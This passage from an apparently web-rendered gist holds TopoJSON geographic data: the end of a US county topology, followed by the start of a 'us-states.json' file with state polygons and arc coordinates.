,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38081,&quot;arcs&quot;:[[-535,606,607,608,-531]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38051,&quot;arcs&quot;:[[-525,609,610,611,-512,-516]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38021,&quot;arcs&quot;:[[-532,-609,612,613,-610,-524]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38011,&quot;arcs&quot;:[[-606,614,-498,-522]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30023,&quot;arcs&quot;:[[-554,615,616,-508,-448,-320]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26043,&quot;arcs&quot;:[[617,618,619,-568,620]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27095,&quot;arcs&quot;:[[621,622,623,624,-594,-452,-419]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30097,&quot;arcs&quot;:[[-477,625,626,-412,-479]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30031,&quot;arcs&quot;:[[-414,627,628,629,630,631,-551,-460]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30067,&quot;arcs&quot;:[[-627,632,633,634,-628,-413]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30093,&quot;arcs&quot;:[[635,636,-616,-553]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41009,&quot;arcs&quot;:[[[637,638,639,-600,640,-587]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27065,&quot;arcs&quot;:[[-576,641,-622,-418]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55013,&quot;arcs&quot;:[[642,643,644,645,-574,646]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55113,&quot;arcs&quot;:[[647,648,649,650,651]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55129,&quot;arcs&quot;:[[-651,652,-643,653]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30011,&quot;arcs&quot;:[[654,655,656,657,-440,-500]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30095,&quot;arcs&quot;:[[-562,658,-633,-626,-476]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27051,&quot;arcs&quot;:[[-489,659,660,661,-527]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27041,&quot;arcs&quot;:[[-593,662,663,-660,-488]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55041,&quot;arcs&quot;:[[664,665,666,667,668,-599,-570]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53011,&quot;arcs&quot;:[[-584,669,-638,-586]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53039,&quot;arcs&quot;:[[-486,670,671,672,673,674,-581,-408]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30003,&quot;arcs&quot;:[[-444,675,676,677,678,-560,-563]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27155,&quot;arcs&quot;:[[-662,679,680,681,-533,-528]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55037,&quot;arcs&quot;:[[-620,682,-665,-569]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41059,&quot;arcs&quot;:[[-537,683,684,685,686,-484,-539]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41063,&quot;arcs&quot;:[[-495,-564,-518,-505,687,688,689,-684,-536]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26109,&quot;arcs&quot;:[[690,691,692,-618,693]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55099,&quot;arcs&quot;:[[-598,694,695,696,697,-649,698,-541]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46105,&quot;arcs&quot;:[[699,700,701,702,703,-604]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46031,&quot;arcs&quot;:[[704,705,706,707,-700,-603,-565]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46063,&quot;arcs&quot;:[[-605,-704,708,-655,-499,-615]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46021,&quot;arcs&quot;:[[-612,709,710,-705,-513]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30001,&quot;arcs&quot;:[[-637,711,712,713,714,-509,-617]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46089,&quot;arcs&quot;:[[-614,715,716,717,-710,-611]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46013,&quot;arcs&quot;:[[-608,718,719,720,721,722,-716,-613]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46109,&quot;arcs&quot;:[[-682,723,724,725,726,-534]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46091,&quot;arcs&quot;:[[-727,727,-719,-607]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41049,&quot;arcs&quot;:[[-687,728,729,730,-671,-485]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55085,&quot;arcs&quot;:[[-669,731,732,-695,-597]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41061,&quot;arcs&quot;:[[733,734,-685,-690]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30057,&quot;arcs&quot;:[[-632,735,-712,-636,-552]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27009,&quot;arcs&quot;:[[-625,736,737,-595]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41021,&quot;arcs&quot;:[[738,739,740,-672,-731]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30075,&quot;arcs&quot;:[[-658,741,742,743,-676,-443,-441]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26031,&quot;arcs&quot;:[[744,745,746,747,748,749]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41057,&quot;arcs&quot;:[[[750,751,752,753,754,-601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41067,&quot;arcs&quot;:[[755,756,757,-751,-640]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27145,&quot;arcs&quot;:[[-738,758,759,760,761,762,-663,-592,-596]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27149,&quot;arcs&quot;:[[763,764,765,-680,-661]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27121,&quot;arcs&quot;:[[-763,766,767,-764,-664]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41055,&quot;arcs&quot;:[[768,-673,-741]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27059,&quot;arcs&quot;:[[769,770,771,-623,-642]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27025,&quot;arcs&quot;:[[-646,772,773,774,-770,-575]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55095,&quot;arcs&quot;:[[775,776,777,-773,-645]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41051,&quot;arcs&quot;:[[-670,-583,778,779,-756,-639]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41027,&quot;arcs&quot;:[[780,781,-779,-582,-675]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41065,&quot;arcs&quot;:[[-769,-740,782,783,784,785,-781,-674]]},{&quot;type&quot;:&quot;Poly</code></pre><p><em>Truncated — <a href="https://gist.github.com/3dd69f510085138459f3b2702347563f">view the full gist</a>.</em></p>
<h3>us-states.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;states&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;geometries&quot;:[{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:1000,&quot;arcs&quot;:[[0,1,2,3,4]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:2000,&quot;arcs&quot;:[[[5]],[[6]],[[7]],[[8]],[[9]],[[10]],[[11]],[[12]],[[13]],[[14]],[[15]],[[16]],[[17]],[[18]],[[19]],[[20]],[[21]],[[22]],[[23]],[[24]],[[25]],[[26]],[[27]],[[28]],[[29]],[[30]],[[31]],[[32]],[[33]],[[34]],[[35]],[[36]],[[37]],[[38]],[[39]],[[40]],[[41]],[[42]],[[43]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:4000,&quot;arcs&quot;:[[44,45,46,47,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:5000,&quot;arcs&quot;:[[49,50,51,52,53,54]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:6000,&quot;arcs&quot;:[[55,-47,56,57]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:8000,&quot;arcs&quot;:[[58,59,60,61,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:9000,&quot;arcs&quot;:[[64,65,66,67]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:10000,&quot;arcs&quot;:[[68,69,70,71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:11000,&quot;arcs&quot;:[[72,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:12000,&quot;arcs&quot;:[[74,75,-2]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:13000,&quot;arcs&quot;:[[76,77,-75,-1,78,79]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:15000,&quot;arcs&quot;:[[[80]],[[81]],[[82]],[[83]],[[84]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16000,&quot;arcs&quot;:[[85,86,87,88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:17000,&quot;arcs&quot;:[[92,93,94,95,96,97]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:18000,&quot;arcs&quot;:[[98,99,-95,100,101]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:19000,&quot;arcs&quot;:[[102,-98,103,104,105,106]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:20000,&quot;arcs&quot;:[[107,108,-60,109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:21000,&quot;arcs&quot;:[[110,111,112,113,-96,-100,114]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:22000,&quot;arcs&quot;:[[115,116,117,-52]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23000,&quot;arcs&quot;:[[118,119]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:24000,&quot;arcs&quot;:[[[120]],[[121,-71,122,123,124,125,-74,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:25000,&quot;arcs&quot;:[[128,129,130,131,-68,132,133,134]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:26000,&quot;arcs&quot;:[[[135,-102,136]],[[137]],[[138,139]],[[140]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27000,&quot;arcs&quot;:[[141,-107,142,143,144]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:28000,&quot;arcs&quot;:[[-4,145,-116,-51,146]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:29000,&quot;arcs&quot;:[[-97,-114,147,-55,148,-108,149,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30000,&quot;arcs&quot;:[[150,151,152,-86,153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:31000,&quot;arcs&quot;:[[-105,-150,-110,-59,154,155]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:32000,&quot;arcs&quot;:[[-89,156,-48,-56,157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:33000,&quot;arcs&quot;:[[-119,158,-135,159,160]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:34000,&quot;arcs&quot;:[[161,-69,162,163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:35000,&quot;arcs&quot;:[[164,165,166,-45,-62]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:36000,&quot;arcs&quot;:[[167,-133,-67,168,-164,169,170]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:37000,&quot;arcs&quot;:[[171,172,-80,173,174]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38000,&quot;arcs&quot;:[[-144,175,-151,176]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:39000,&quot;arcs&quot;:[[177,178,-115,-99,-136,179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:40000,&quot;arcs&quot;:[[-149,-54,180,-165,-61,-109]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:41000,&quot;arcs&quot;:[[-90,-158,-58,181,182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:42000,&quot;arcs&quot;:[[-163,-72,-122,183,-178,184,-170]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:44000,&quot;arcs&quot;:[[[-130,185]],[[186,-65,-132]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:45000,&quot;arcs&quot;:[[187,-77,-173]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:46000,&quot;arcs&quot;:[[-176,-143,-106,-156,188,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:47000,&quot;arcs&quot;:[[189,-174,-79,-5,-147,-50,-148,-113]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:48000,&quot;arcs&quot;:[[-53,-118,190,-166,-181]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:49000,&quot;arcs&quot;:[[191,-63,-49,-157,-88]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:50000,&quot;arcs&quot;:[[-160,-134,-168,192]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:51000,&quot;arcs&quot;:[[[-127,-73,-126,193,-175,-190,-112,194]],[[195,-124]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53000,&quot;arcs&quot;:[[[-91,-183,196]],[[197]],[[198]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:54000,&quot;arcs&quot;:[[-184,-128,-195,-111,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55000,&quot;arcs&quot;:[[-139,199,-93,-103,-142,200]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:56000,&quot;arcs&quot;:[[-189,-155,-64,-192,-87,-153]]}]}},&quot;arcs&quot;:[[[2632,3060],[5,-164],[7,-242],[4,-53],[3,-30],[-2,-19],[4,-11],[-5,-25],[0,-24],[-2,-32],[2,-57],[-2,-51],[3,-52]],[[2649,2300],[-14,-1],[-59,0],[-1,-25],[6,-37],[-1,-31],[2,-16],[-4,-28]],[[2578,2162],[-4,-6],[-7,31],[-1,47],[-2,6],[-3,-36],[-1,-34],[-7,9]],[[2553,2179],[-2,291],[6,363],[4,209],[-3,20]],[[2558,3062],[24,1],[50,-3]],[[1324,6901],[1,32],[6,-19],[-1,-32],[-8,4],[2,15]],[[1317,6960],[5,-23],[-3,-33],[-2,11],[0,45]],[[1285,7153],[6,5],[3,-8],[-1,-28],[-6,-6],[-5,17],[3,20]],[[1267,7137],[12,-7],[3,-36],[13,-41],[4,-25],[0,-21],[3,-4],[1,-27],[5,-27],[0,-25],[3,8],[2,-19],[1,-74],[-3,-17],[-7,3],[-3,38],[-2,-3],[-6,28],[-2,-10],[-5,10],[1,-28],[5,7],[3,-10],[-2,-39],[-5,4],[-9,49],[-2,25],[1,26],[-7,-2],[0,20],[5,2],[5,18],[-2,31],[-6,7],[-1,50],[-2,25],[-4,-18],[-2,28],[4,14],[-3,32],[2,8]],[[1263,6985],[5,-12],[4,15],[4,-7],[-4,-28],[-6,8],[-3,24]],[[1258,7247],[-4,19],[5,13],[15,-18],[7,1],[5,-36],[9,-29],[-1,-22],[-5,-11],[-6,5],[-5,-14],[-6,9],[-7,-9],[-1,45],[0,30],[-5,1],[-1,16]],[[1252,7162],[-4,14],[-4,32],[0,24],[3,11],[4,-11],[0,20],[12,-35],[1,-33],[-4,-5],[-3,-37],[3,-11],[-3,-43],[-5,9],[0,-27],[-3,13],[-2,54],[5,25]],[[1237,7124],[-1,-22],[-4,13],[-10,84],[-7,25],[3,20],[-3,48],[-8,39],[8,38],[3,-16],[7,-13],[6,-2],[0,-30],[6,-99],[0,-85]],[[1235,7494],[10,-15],[5,2],[0,-14],[8,-52],[-5,8],[-2,-18],[6,-27],[2,-48],[-6,-13],[-2,-16],[-10,-35],[-3,1],[-1,37],[2,22],[-1,32],[-3,40],[0,21],[-2,51],[-4,22],[-1,38],[7,-36]],[[1203,7324],[4,0],[4,-35],[-2,-24],[-6,-5],[1,38],[-1,26]],[[1191,7491],[8,-1],[6,17],[8,-23],[-5,-26],[2,-9],[4,28],[10,-9],[5,-21],[-3,-38],[3,-3],[3,-50],[-7,-7],[-14,41],[0,-42],[-4,-17],[-5,7],[-3,26],[-6,18],[-5,37],[-6,17],[1,30],[4,10],[1,26],[3,-11]],[[883,7871],[-12,-48],[-1,-19],[-9,-12],[2,29],[10,30],[7,34],[3,-14]],[[870,7943],[-2,-39],[-4,-41],[-6,14],[5,47],[7,19]],[[863,9788],[3,-8],[15,-9],[8,5],[10,0],[12,-7],[7,4],[7,-15],[12,-18],[16,-4],[5,10],[11,6],[4,14],[12,2],[0,-9],[7,5],[15,-15],[9,-24],[10,-11],[2,-11],[8,-2],[8,-18],[1,-11],[5,9],[6,-7],[0,-1783],[13,-16],[2,17],[14,-24],[8,30],[18,4],[-3,-52],[4,-17],[10,-17],[2,-27],[29,-101],[4,-63],[6,17],[12,31],[7,1],[3,23],[0,34],[5,0],[1,31],[9,7],[13,26],[13,-45],[-1,-27],[3,-27],[7,-7],[10,-40],[-1,-12],[4,-22],[12,-25],[19,-110],[3,-29],[6,-29],[8,-65],[9,-55],[-3,-23],[9,-9],[-2,-33],[7,-14],[1,-38],[7,2],[14,-40],[9,-7],[5,-19],[4,-5],[1,-19],[9,-5],[3,-23],[-4,-43],[1,-36],[4,-58],[-3,-15],[-7,-53],[-10,-39],[-3,20],[-4,-6],[-3,39],[1,17],[-3,20],[7,21],[-2,7],[-7,-26],[-3,17],[-4,-10],[-12,42],[4,46],[-8,-15],[0,-23],[-6,17],[-1,22],[4,24],[-1,24],[-6,-19],[-6,42],[-3,-8],[-2,36],[5,23],[6,0],[-2,28],[3,36],[-5,-1],[-9,32],[-6,37],[-15,27],[0,77],[-4,9],[1,31],[-5,9],[-8,42],[-2,22],[-12,7],[-14,56],[-6,132],[-3,-30],[1,-27],[6,-53],[-1,-8],[3,-43],[0,-28],[-6,6],[-4,31],[-6,6],[-8,-9],[0,45],[-5,38],[-4,-12],[-18,40],[-2,-11],[10,-13],[7,-31],[3,-1],[1,-25],[4,-30],[-10,-16],[-5,10],[0,-26],[-8,20],[-2,14],[-5,0],[-13,38],[-10,33],[0,20],[-6,30],[-14,21],[-9,21],[-14,26],[-9,24],[1,26],[2,-9],[3,17],[-3,38],[4,21],[-2,9],[-7,-40],[-14,-26],[-18,10],[-14,24],[-1,18],[-7,-4],[-7,14],[-17,12],[-9,1],[-21,-10],[-8,-7],[-10,27],[-12,12],[-3,17],[-2,28],[-8,-2],[-3,-25],[-15,34],[-2,14],[-15,-27],[-7,-32],[-3,30],[3,17],[4,-5],[14,22],[-2,17],[-6,-8],[-3,22],[-6,3],[-6,55],[-3,-13],[-8,-8],[-3,8],[-3,-18],[-11,6],[-1,-20],[-7,-5],[-3,7],[2,36],[-3,-1],[-5,-38],[7,-12],[1,-27],[4,-30],[-3,-31],[-5,10],[-2,-15],[6,-7],[3,-41],[-8,-9],[-4,9],[-7,-12],[-3,10],[-9,-2],[0,16],[-4,-10],[-3,-20],[-3,18],[-5,-25],[2,-12],[-6,-15],[-6,-2],[-3,-20],[-6,-17],[-4,6],[-5,-21],[-4,1],[-8,-43],[-9,-3],[-3,14],[-5,-23],[-11,17],[2,33],[8,11],[4,-2],[2,13],[8,25],[0,21],[-11,-28],[-9,16],[-1,12],[5,48],[8,34],[1,29],[2,5],[1,30],[-4,34],[10,12],[19,48],[4,-19],[6,-5],[9,20],[-10,26],[-4,20],[-7,-2],[-5,9],[-2,-8],[-9,-14],[-4,-26],[-9,-6],[-9,-30],[-1,-20],[-7,-11],[-2,-22],[-5,-13],[-2,-39],[-10,-25],[5,-20],[-4,-29],[-9,-5],[-1,-38],[-8,-13],[-3,15],[-4,-29],[-5,-1],[1,-21],[-11,-13],[-2,-57],[12,-3],[10,-16],[3,-19],[-4,-30],[-7,-19],[-6,-1],[0,-17],[-4,-6],[1,-21],[-4,-31],[-9,-29],[-5,0],[-5,-11],[-5,2],[-3,-11],[1,-16],[-7,-8],[-2,-23],[-5,14],[-5,-45],[-9,4],[1,-24],[-6,6],[-3,-11],[0,-32],[-6,-50],[-10,-6],[-7,-23],[-2,-13],[-5,18],[-8,-48],[-2,13],[-5,-4],[-1,-27],[-5,-10],[-6,4],[-4,-27],[8,-9],[-9,-60],[-25,-20],[-6,-54],[-2,12],[1,33],[-5,6],[-6,-13],[-1,-14],[-10,-22],[-4,-25],[-1,18],[-2,-21],[-6,14],[-10,-33],[